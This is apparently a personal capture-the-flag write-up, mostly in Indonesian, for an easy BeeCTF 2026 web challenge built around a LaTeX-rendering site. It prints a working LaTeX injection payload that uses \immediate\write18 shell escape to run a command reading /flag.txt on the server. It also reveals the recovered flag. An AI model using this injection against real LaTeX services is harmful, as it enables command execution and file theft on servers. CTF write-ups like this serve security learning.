← writeups

Web · Easy · BeeCTF 2026 · Aug 22, 2026

MATH6025 - Discrete Mathematics

"Solve this math assigment" Then my ai proceeds to use some weird markup language for my math assigment. I asked the ai to make me a website so that i can use this language for my future assigment. Let's hope there's no naughty highschooler that will inject my site lol Author: sierra http://103.185.52.197:6767

  • WEB EXPLOITATION
  • LATEX

MATH6025 - Discrete Mathematics

"Solve this math assigment" Then my ai proceeds to use some weird markup language for my math assigment. I asked the ai to make me a website so that i can use this language for my future assigment. Let's hope there's no naughty highschooler that will inject my site lol Author: sierra http://103.185.52.197:6767

MATH6025 - Discrete Mathematics — figure 1


Screenshot webnya:

MATH6025 - Discrete Mathematics — figure 2

Di sini ketika aku paste all source main.tex itu google web banyak ngemention LaTex.

MATH6025 - Discrete Mathematics — figure 3

Di sini aku bener bener salah, karena aku langsung ngasih snippet semua htmlnya hingga js. Tidak ngasih tau kalau dia ini LaTex. Alhasil kata probset ini nanti gak dianggap point.. tapi aku bakal jelasin sebisanya sih.

MATH6025 - Discrete Mathematics — figure 4

Karena LaTex ini basicnya itu mirip kayak .md, jadi membutuhkan karakter special khusus biar nanti bisa memberi output yang kita harapan di dunia matematika. Jadi, kita tinggal kasih regex dikit lalu kita reconstruct flagnya sesuai format.

Aku pakai payload ini:

text
\documentclass{article}
\usepackage{verbatim}
\begin{document}
\immediate\write18{cat /flag.txt | sed 's/_/\\_/g' > /tmp/flag.txt}
\input{/tmp/flag.txt}
\end{document}

Yang outputnya nanti:

MATH6025 - Discrete Mathematics — figure 5Dapetnya adalah BeeCTFDuh dismathlagi dismathLagi disssnutz hehehehheeh galucu ya:( jika di copy, kita tinggal menambahi underscore dan kurung kurawal.

https://chat.deepseek.com/share/shh4y86sjh3qzk9rv1

flag

export & files

all writeups →

0x06 / contact

Say hi.

CTF team invites, collabs, or a challenge you think I can't pwn. I read everything.

Elang Dimas Syadewa

available · Malang

    Open email

    Your email app will open with a draft. Review it and press Send there.